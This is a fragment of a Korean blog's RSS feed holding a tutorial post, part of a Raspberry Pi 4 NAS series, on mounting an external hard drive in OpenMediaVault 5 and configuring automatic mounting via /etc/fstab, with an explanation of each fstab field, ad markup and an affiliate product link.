&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/145&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/146&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/147&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/148&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>NAS/Raspberry Pi</category>
      <category>docker</category>
      <category>media server</category>
      <category>Nas</category>
      <category>omv</category>
      <category>PORTAINER</category>
      <category>raspberry pi</category>
      <category>나스</category>
      <category>라즈베리파이</category>
      <category>미디어 서버</category>
      <category>홈 스트리밍</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/146</guid>
      <comments>https://chmodi.tistory.com/146#entry146comment</comments>
      <pubDate>Tue, 20 Jul 2021 21:49:42 +0900</pubDate>
    </item>
    <item>
      <title>[라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트</title>
      <link>https://chmodi.tistory.com/145</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포맷한 외장하드를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마운트하는 방법과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부팅 시 자동으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마운트하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정 방법입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;파티션 마운트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포맷한 디스크를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라즈베리파이에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mount 시켜야&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;u&gt;&lt;b&gt;파일 시스템 &amp;gt; 레이블 선택 &amp;gt; 마운트&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;500&quot; height=&quot;390&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;546&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lq3r2/btq93nkzuU0/B6vbgdcdiwvnSNkZRKGUC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lq3r2/btq93nkzuU0/B6vbgdcdiwvnSNkZRKGUC1/img.png&quot; data-alt=&quot;파티션 마운트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lq3r2/btq93nkzuU0/B6vbgdcdiwvnSNkZRKGUC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flq3r2%2Fbtq93nkzuU0%2FB6vbgdcdiwvnSNkZRKGUC1%2Fimg.png&quot; width=&quot;500&quot; height=&quot;390&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;546&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파티션 마운트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안된다면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 명령어로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마운트 시키는 방법도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;SSH에 root 계정으로&lt;br /&gt;로그인한 후,&lt;br /&gt;아래 명령어를 입력합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;# mount -t ext [마운트할 파티션 경로] [연결할 디렉토리]&lt;br /&gt;연결할 디렉토리: OMV5는 보통 /srv/dev-disk-by-uuid-[파티션 UUID]&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;에 마운트 시킵니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;22&quot; data-filename=&quot;이미지 7.png&quot; width=&quot;500&quot; height=&quot;11&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yjmZG/btq93o53xdS/1q55A9MKFMoSUKZ1kN0hKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yjmZG/btq93o53xdS/1q55A9MKFMoSUKZ1kN0hKK/img.png&quot; data-alt=&quot;외장하드 마운트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yjmZG/btq93o53xdS/1q55A9MKFMoSUKZ1kN0hKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyjmZG%2Fbtq93o53xdS%2F1q55A9MKFMoSUKZ1kN0hKK%2Fimg.png&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;22&quot; data-filename=&quot;이미지 7.png&quot; width=&quot;500&quot; height=&quot;11&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;외장하드 마운트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;자동 마운트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라즈베리파이와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외장하드의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연결이 불안정하기도 하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부팅 시마다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동으로 마운트하기 위한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정을 해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;먼저, 외장하드의 UUID를 확인합니다.&lt;br /&gt;&lt;u&gt;&lt;b&gt;$ blkid&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;자동 마운트 관리 파일인&lt;br /&gt;/etc/fstab 에 관련 설정을&lt;br /&gt;적어야 합니다.&lt;br /&gt;&lt;br /&gt;이미 OMV에서&lt;br /&gt;연결한 외장하드에 대한 설정을&lt;br /&gt;적어놨기 때문에&lt;br /&gt;약간의 수정만 해주면 됩니다.&lt;br /&gt;&lt;u&gt;&lt;b&gt;$ vi /etc/fstab&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;500&quot; height=&quot;75&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;99&quot; data-filename=&quot;이미지 49.png&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYFkml/btq91pXHQ76/bThgFnoRAZcqPiLh2Ueefk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYFkml/btq91pXHQ76/bThgFnoRAZcqPiLh2Ueefk/img.png&quot; data-alt=&quot;외장하드 UUID 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYFkml/btq91pXHQ76/bThgFnoRAZcqPiLh2Ueefk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYFkml%2Fbtq91pXHQ76%2FbThgFnoRAZcqPiLh2Ueefk%2Fimg.png&quot; width=&quot;500&quot; height=&quot;75&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;99&quot; data-filename=&quot;이미지 49.png&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;외장하드 UUID 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;&lt;br /&gt;/etc/fstab 수정은&lt;/b&gt;&lt;br /&gt;&lt;b&gt;기존의 내용을&lt;/b&gt;&lt;br /&gt;&lt;b&gt;주석 처리한 후,&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;아래에 동일한 내용을&lt;/b&gt;&lt;br /&gt;&lt;b&gt;작성하고&lt;/b&gt;&lt;br /&gt;&lt;b&gt;첫 번째 필드만&lt;/b&gt;&lt;br /&gt;&lt;b&gt;획득한 UUID로&lt;/b&gt;&lt;br /&gt;&lt;b&gt;바꾸면 됩니다.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;500&quot; height=&quot;178&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;232&quot; data-filename=&quot;이미지 50.png&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sMJTR/btq91pwEtyP/Ab4EDWp2LDj9FKOlA8oQm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sMJTR/btq91pwEtyP/Ab4EDWp2LDj9FKOlA8oQm1/img.png&quot; data-alt=&quot;/etc/fstab 수정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sMJTR/btq91pwEtyP/Ab4EDWp2LDj9FKOlA8oQm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsMJTR%2Fbtq91pwEtyP%2FAb4EDWp2LDj9FKOlA8oQm1%2Fimg.png&quot; width=&quot;500&quot; height=&quot;178&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;232&quot; data-filename=&quot;이미지 50.png&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;/etc/fstab 수정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;/etc/fstab 필드 설명&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/etc/fstab의 각 필드 내용은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;- 첫번쨰( /dev/sdb1)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: mount 되어야 할 장치명 또는 장치의 UUID&lt;br /&gt;&lt;b&gt;- 두번쨰줄( /linux/auto1 )&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 장치와 mount 될 디렉토리 == mount point&lt;br /&gt;&lt;b&gt;- 세번쨰&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 파일시스템의 종류 ( 타입 )&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ex) ext3 , ext4 , xfs , nfs , swap , iso9660 ...&lt;br /&gt;&lt;b&gt;- 네번쨰&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: mount option ( 마운트 적용 옵션 )&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- auto: 부팅시 자동으로 마운트&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- exec: 실행파일 실행 허용&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- suid: SetUID, SetGID 허용&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- no user: 관리자만 마운트 허용&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- ro: 읽기 전용&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- rw: 읽기 쓰기 허용&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- usrquota: 일반 사용자 quota 허용&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- grpquota: 그룹 사용자 quota 허용&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- defaults: rw, exec , suid , no user , auto 의미 포함&lt;br /&gt;&lt;b&gt;- 다섯번쨰&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: dump 허용 여부(backup)&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- 6.x 까지는 0 , 1 값으로 설정 == 0 : 허용 x / 1 : 허용 o&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- 7.x 부터는 기본값 0으로 설정 == 해당 필드 기능 지원 안 함&lt;br /&gt;&lt;b&gt;- 여섯번쨰&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: fsck == file system check == 무결성 검사&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- 부팅시 파일시스템 체크 여부를 지정&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- 6.x 까지는 0 , 1 , 2 , 값으로 설정 2 == 0 ( 체크안함 ) // 1( / : 최상위) // 2 ( 그밖의 나머지 )&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- 7.x 부터는 기본값 0으로 설정 == 해당 필드 기능을 파일시스템의 기능으로 대체&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- xfs 라는 파일시스템의 기능에는 저널복구 옵션이 포함 &amp;gt; 신속한 복구 , 빠른 재시작&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- 저널복구 옵션으로 참조 되었다 /etc/fstab 필드 기능을 더 이상 사용 안 함&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;끝&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라즈베리파이를 보통&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;USB 충전기에 연결하기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전력이 낮아서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외장하드 마운트가 해제될 수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;외장하드에&amp;nbsp;별도 전원을&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;u&gt;&lt;b&gt;공급하는 방법을 추천&lt;/b&gt;&lt;/u&gt;드립니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1626785064201&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;NEXT-418U3 USB 3.0 SATA to USB 변환 젠더&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://coupa.ng/b3Rl4E&quot; data-og-url=&quot;https://www.coupang.com/vp/products/8450912&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/BGiuH/hyKWTIp6iR/Nv8pyKhQRpQIpS6kPk2gH1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/jYnLV/hyKXSnBjYB/sYRAk9XjcG0LURRvwRaBe1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://coupa.ng/b3Rl4E&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://coupa.ng/b3Rl4E&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/BGiuH/hyKWTIp6iR/Nv8pyKhQRpQIpS6kPk2gH1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/jYnLV/hyKXSnBjYB/sYRAk9XjcG0LURRvwRaBe1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;NEXT-418U3 USB 3.0 SATA to USB 변환 젠더&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;&quot;이 포스팅은 쿠팡 파트너스 활동의 일환으로, 이에 따른 일정액의 수수료를 제공받습니다.&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/116&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/140&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/141&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/142&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/143&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/144&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/145&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/146&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/147&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/148&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>NAS/Raspberry Pi</category>
      <category>docker</category>
      <category>media server</category>
      <category>Nas</category>
      <category>omv</category>
